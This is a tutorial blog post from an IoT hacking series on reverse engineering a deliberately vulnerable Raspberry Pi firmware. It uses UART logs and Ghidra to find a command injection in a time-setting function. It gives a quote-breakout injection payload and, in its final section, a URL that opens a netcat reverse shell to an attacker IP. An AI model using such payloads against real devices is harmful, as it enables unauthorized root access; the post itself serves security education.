Introduction
In part four of our “Getting Started with IoT and Hardware Hacking” series we will reverse engineer the httpd binary and libdt.so library to look for vulnerabilities. We will take a look at how to use Ghidra to decompile and reverse engineer binaries and shared object libraries. We’ll then review the output to identify and exploit a common vulnerability to get remote code execution (RCE) on the Raspberry Pi.
As a quick recap, in the first part of the series, we looked at the necessary items to build an affordable toolkit of IoT and hardware hacking gear. In the second part, we set up a Raspberry Pi with custom firmware designed to learn about IoT hacking and learned all about UART. In the third part of the series, we performed firmware analysis to extract and unpack the firmware and hunt for files of interest. This analysis led us to the httpd binary and libdt.so that we will be reverse engineering.
If you haven’t followed along with the previous sections of the blog, at a minimum, you should check out part three so you can grab the firmware and get it unpacked. If you don’t have a Raspberry Pi you can still follow along with most parts three and four.
Identifying Binaries to Target
In the last part of this blog, we identified through BugProve that libdt.so was a good place to look as it made use of dangerous functions such as system calls. One approach is to immediately decompile and reverse engineer this library. Then if we found vulnerable functions, we could try and identify binaries that are using that library and calling those functions. We would then need to further investigate those binaries for any method of remote user interaction with the vulnerable functions. I like to think of this as working backward, in that we find a vulnerable function and then trace it backward to where it’s initially called, seeing if this contains user input.
This is a valid approach that some security researchers take. However, in this lesson, I’d like to show an alternative method I think of as working forwards. In this approach, we start from user inputs available, such as in a web server or mobile application, and trace those to see if they end up in vulnerable functions. The benefits of this approach are easier visualization of user data processing and the ability to find other relevant libraries or binaries.
Recon With UART
Let’s start by relaunching the UART shell we found in the second lesson.
sudo screen /dev/usbTTY0 115200
The login for UART is root/TCM. In order to scan the device and run the exploit at the end, you’ll need to make sure that the Raspberry Pi is on the same network as your attack machine. Unless I specifically indicate a command is to be run on the Pi itself via the UART shell, run the commands shown from your attack machine or VM. If you need a refresher on setting up the WiFi on the Pi, we covered this in part two of the series.
From the UART shell, grab the IP address for the Raspberry Pi so we can target it from our VM. The easiest way to do this is to run ifconfig and check the IP address listed under wlan0.
From the VM we’ll run a quick nmap scan to see what ports are open and what we can target remotely.
nmap -A -p- -T4 <replace_with_pi_ipaddress>
There are two ports open, one of which is port 80, where a web server is running. This is expected, as we previously saw an httpd binary when manually enumerating the firmware. We’ll be focusing on investigating the web server running on port 80.
Web Portal Login Vulnerability
It’s fairly common to see a webserver hosted on IoT devices that allows users to configure settings on the device. Let’s start with a quick visual inspection by navigating to the webserver at http://ipadress.
This device, like most commercial IoT devices, has a login for the web portal. A very common vulnerability of IoT devices is weak default passwords that do not need to be changed. An example would be “admin/admin.” Trying that on this device nets a quick win and allows us to login to the control page.
Manipulating User Input
Now we can start with our forward approach of interacting with anything that takes a user input. In order to trace what underlying functionality is happening on the device after this interaction, we can monitor the UART logs. A lot of consumer devices have verbose UART logging that contains details about the user input received and in some cases even the exact function, library, or binary responsible for the logging. To see an example of this on our target device, let’s start by turning the light ON.
Turning on the light triggers multiple messages to be printed via UART. In the left hand side of the messages, inside square brackets, we see details about the binary or function from a shared object that is responsible for printing the message. This is a somewhat common format you’ll see on commercial devices as well; for example, there is a log from the httpd binary indicating that it received a command to turn on the light via the web portal. We can make use of this message to identify the httpd binary as performing at least some of the functionality from interacting with the web portal.
In our example this was fairly obvious from the naming. However, on other devices, especially if interacting with a mobile application or through a cloud server, it may not be as obvious which binaries are receiving that user input.
Next, let’s try the other user input, which allows setting the time on the device.
Looking through the UART again, we see multiple print statements that give a multitude of details about what is happening behind the scenes to set the time on the device and one of these is of interest. The setSystemTime function appears to call the setTime.sh script, which we previously identified, and passes the time parameter that the user supplies. This looks to be a possible avenue for command injection if the user input is not being validated or sanitized.
Now we can continue investigating where the setSystemTime function resides so we can reverse engineer it. If you guessed that it’s from the libdt.so library we previously identified, then you’d be correct, though sometimes it’s not as obvious. One way to trace the function back to the binaries and libraries that reference it is by using strings and grep.
strings -f */* | grep "setSystemTime"
This confirms that the httpd binary is calling the setSystemTime function, probably from a shared object library. One indication, from the logging of this specific device, is that the function name is directly referenced rather than the binary. This isn’t always a format used, however it’s one I frequently see in commercial IoT devices to allow for easier debugging of functions in shared objects. We can dig a bit deeper with strings and grep.
strings -f */*/* | grep "setSystemTime"
This shows the function is also present in the libdt.so file, confirming our suspicions. If you’re working on a different device and the UART logging doesn’t include details about the function name calling it, or the libraries and binaries are stripped (the function names have been removed when compiling), you can also grep on keywords in the string itself to identify the underlying binaries and libraries. Keep in mind that it is likely that the printed string has some variables passed into it so you can’t grep the entire string. For example, in the above setSystemTime printout, the time itself is formatted into the string.
One other quick shortcut to find what dependencies a binary has is by using the readelf command.
readelf -d httpd
At the top of the output you can see the list of shared libraries the binary uses, which contains libdt.so.
Reverse Engineering libdt.so With Ghidra
Now that we have confirmation libdt.so appears to have a vulnerable function, which is passed in user input via the httpd binary, we will reverse engineer it to confirm this vulnerability and check if any validation or sanitization is performed.
In this example, we’ll be using Ghidra, an open-source decompiler and reverse engineering tool developed by the NSA. If you’re on Kali it’s not installed by default, but can easily be installed from the apt repository.
sudo apt install ghidra
To start, launch Ghidra, and when prompted with the first pop-up choose to create a new “non-shared project”, naming it whatever you’d like. From the new project, click File > Import File and choose the libdt.so file from the firmware we unpacked. After importing the file, double-click on it to open up the code browser. When you’re asked if you want to analyze the file, click Yes, leave all the defaults selected, and then click Analyze. You may see a warning message which you can safely ignore for this example.
Once in the code browser, we’ll first make use of the Symbol Tree, which is located in the leftmost window pane in Ghidra. The Symbol Tree allows for easy navigation of a binary or shared object by jumping directly to functions inside of it.
Let’s use it to navigate to the setSystemTime function we previously identified. Clicking on the function name in the symbol tree will jump to the Listing window and Decompile Window for that function. We’ll spend most of our time in the decompile window as this gives a decompiled representation of the code in C. This makes reverse engineering much easier than looking at the assembly code.
If you’re new to reverse engineering, or even just reading C code in general, then the output of the decompiled window can be difficult to read at first glance, but there are some easy wins we can take advantage of to make it much more readable. Keep in mind that we don’t have to understand everything inside the code, just the key parts that we want to exploit.
The first thing we’ll do to make the code more readable is rename the variables based on intuition and use the print statements. Ghidra shows variables local to a function in yellow and variables passed into the function in purple. Let’s start with param_1, which is the variable passed into the function. We can make a pretty strong guess this is the time variable that will be set by the function. This is also further confirmed by looking at the snsprintf function on line 11, which is used to format param_1 into what appears to be the command we saw used to call the setTime.sh script by the webserver. Let’s rename this variable by right-clicking on it and selecting “Rename Variable.”
We can now take a shot at some of the other variables. One trick I use with a variable is to apply a secondary highlight to it to easily see where else it’s used. This helps to give context about its use. To do this, right-click on the variable and select “Secondary Highlight” > “Set Highlight.”
With the __s variable highlighted, we can easily see where it’s used.
- First, line 5 is initialized as a char pointer, which is a common way to store strings in C.
- Then on line 9, we see that memory is allocated to store the string.
- After that, in line 11, we see the formatting being performed to add the dateTime passed into the command that calls the setTime.sh script. This formatted string is passed into the __s variable.
- Finally, we see in line 14 __s variable is passed into the system call. It appears that the __s variable is the commandString.
I’ve renamed the variables based on what they are used for.
Now the function is much easier to read. We can see that it takes in a variable which is a string that is intended to be the dateTime. It then uses snsprintf to format this into the string, which is used to call the /setTime.sh script. An attempt is made to escape the dateTime variable by bracing it in quotation marks which means any special characters commonly used like “&”, “#”, or “;” will be interpreted as part of a string instead of allowing for another command to be tacked on. This is seen in the \”%s\” portion of line 11. This is a common method employed to prevent command injection, but we can most likely break this escaping as it’s not implemented properly.
At this point, we have confirmed that the setSystemTime function itself is vulnerable to command injection. However, we don’t have direct access to this function since it’s called by the httpd binary. There are two ways we can verify whether whatever calls this function will perform further sanitization or validation before passing any user input into it.
The first is to reverse engineer the httpd binary to see how it calls the setSystemTime function and check what values are passed into this function. The second is to check on the live system and use the logging provided via UART to see what happens when we pass in values other than date times.
Since we have access to the live system, we will go that route. However, in some scenarios, we only have access to the firmware and are only performing a static analysis of the device. If this were the case, we’d need to fully trace the function call to where the data is received from a user input to verify the command injection. This is particularly important if you’re performing a penetration test or sending in a bug report; otherwise, you can’t confirm the system is actually vulnerable.
Confirming Command Injection in libdt.so
Since we are going the live testing route to confirm command injection, let’s revisit the web server through our web browser and also watch the logging in UART. Before making another request to set the time, let’s open up the developer tools and inspect the network traffic. In Firefox or Chrome, right-click on the website and click inspect. Then navigate to the network tab to perform a normal set time and see what is sent. Another method to investigate web requests is to use a proxy like Burp Suite or Caido; however, for simplicity in this example, we’ll just use the browser and developer tools.
We can verify from the network console that the time is set by sending a GET request to the endpoint schedule with the parameter time. The date picker doesn’t let us send anything else via the UI. However, there is nothing stopping us from manually sending another value via the browser or with curl. Let’s start by just sending a string instead of a valid date time so we can see how the server responds and what the logs show. In my example, I’m sending the string “bad” by pasting the below string into the browser.
http://ip_address/schedule?time=bad
We can see that the string was passed directly into the system command, and the script attempted to set the time as “bad” which failed due to not being a valid date time. We get a 422 back from the web server, indicating we have unprocessable data.
We also see from the logging the string is braced with quotation marks. Let’s try for a simple injection test and see if we can perform an echo. Since we’ll need spaces in our command, let’s also URL encode it using cyberchef.
This injection uses “&” to attempt to append a second command to the system call made in the setSystemTime function In this example, it’s a basic echo that would be printed out to UART. However, it could be something more malicious like initiating a reverse shell or receiving a command via C2 server.
Attempting to use this injection and looking at the logging, we can see that the quotation bracing is throwing off the command injection. Instead of running our echo as a follow-on command, the & is picked up as part of the datetime argument, and the system tries to set our injection as the time. As previously mentioned, the quotation bracing used is not properly implemented because it doesn’t check for and filter out quotation marks passed in as part of the input. We can break out of this bracing by putting a leading open quotation mark and then canceling out the trailing quotation mark with a second quotation.
Using this injection, the string passed into the system call will instead look like this:
/etc/init.d/./setTime.sh "bad" & echo "hello from andrew"""
When this is passed into the system command, it will first try to run the setTime.sh script with the parameter “bad,” which will fail, but then after that, it will run the command after the & and ignore the double quotations at the very end.
Looking through the logging, we see a command injection from the “hello from andrew” echoed into the UART console. Now that we’ve proved command injection, we can take it one step further to get a reverse shell.
Exploiting Command Injection for a Reverse Shell
We’ll need the IP address for the attack machine or VM, so make sure to grab that with either ifconfig or ip a.
After that, start a Netcat listener on the VM.
nc -nvlp 4444
To make this a little easier, I’ve included Netcat on the vulnerable firmware loaded onto the Raspberry Pi. Usually, this won’t be included in devices; however, with the RCE, we found we could either bring over tools or a custom script to get a reverse shell.
Making use of Netcat, let’s craft an injection that will connect back to our reverse shell.
http://vm_ip_address/schedule?time=bad"&nc 192.168.50.75 4444 -e /bin/bash"
Don’t forget to use your IP addresses here for your target and host.
Launching the injection against the webserver and seeing it start to hang is a good sign.
Looking over the NC listener we can see that we caught the shell and now have a root shell to the target device.
Conclusion
In this example, the command injection is somewhat obvious. We could have identified it without access to the logging and the firmware, but having access to both allowed us to see the poor implementation of the quotation bracing. In commercial applications, command injection vulnerabilities still exist, but they generally aren’t as obvious and are much easier to find by starting with an analysis of the firmware, looking for system calls, and tracing those outwards to see if they ever accept user input that can be passed into those calls.
About the Author: Andrew Bellini
My name is Andrew Bellini and I sometimes go as DigitalAndrew on social media. I’m an electrical engineer by trade with a bachelor’s degree in electrical engineering and am a licensed Professional Engineer (P. Eng) in Ontario, Canada. While my background and the majority of my career has been in electrical engineering, I am also an avid and passionate ethical hacker.
I am the instructor of our Beginner’s Guide to IoT and Hardware Hacking course and I also created the Practical IoT Pentest Associate (PIPA) certification.
In addition to my love for all things ethical hacking, cybersecurity, CTFs and tech I also am a dad, play guitar and am passionate about the outdoors and fishing.
About TCM Security
TCM Security is a veteran-owned, cybersecurity services and education company founded in Charlotte, NC. Our services division has the mission of protecting people, sensitive data, and systems. With decades of combined experience, thousands of hours of practice, and core values from our time in service, we use our skill set to secure your environment. The TCM Security Academy is an educational platform dedicated to providing affordable, top-notch cybersecurity training to our individual students and corporate clients including both self-paced and instructor-led online courses as well as custom training solutions. We also provide several vendor-agnostic, practical hands-on certification exams to ensure proven job-ready skills to prospective employers.
Pentest Services: https://tcm-sec.com/our-services/
Follow Us: Blog | LinkedIn | YouTube | Twitter | Facebook | Instagram
Contact Us: sales@tcm-sec.com
See How We Can Secure Your Assets
Let’s talk about how TCM Security can solve your cybersecurity needs. Give us a call, send us an e-mail, or fill out the contact form below to get started.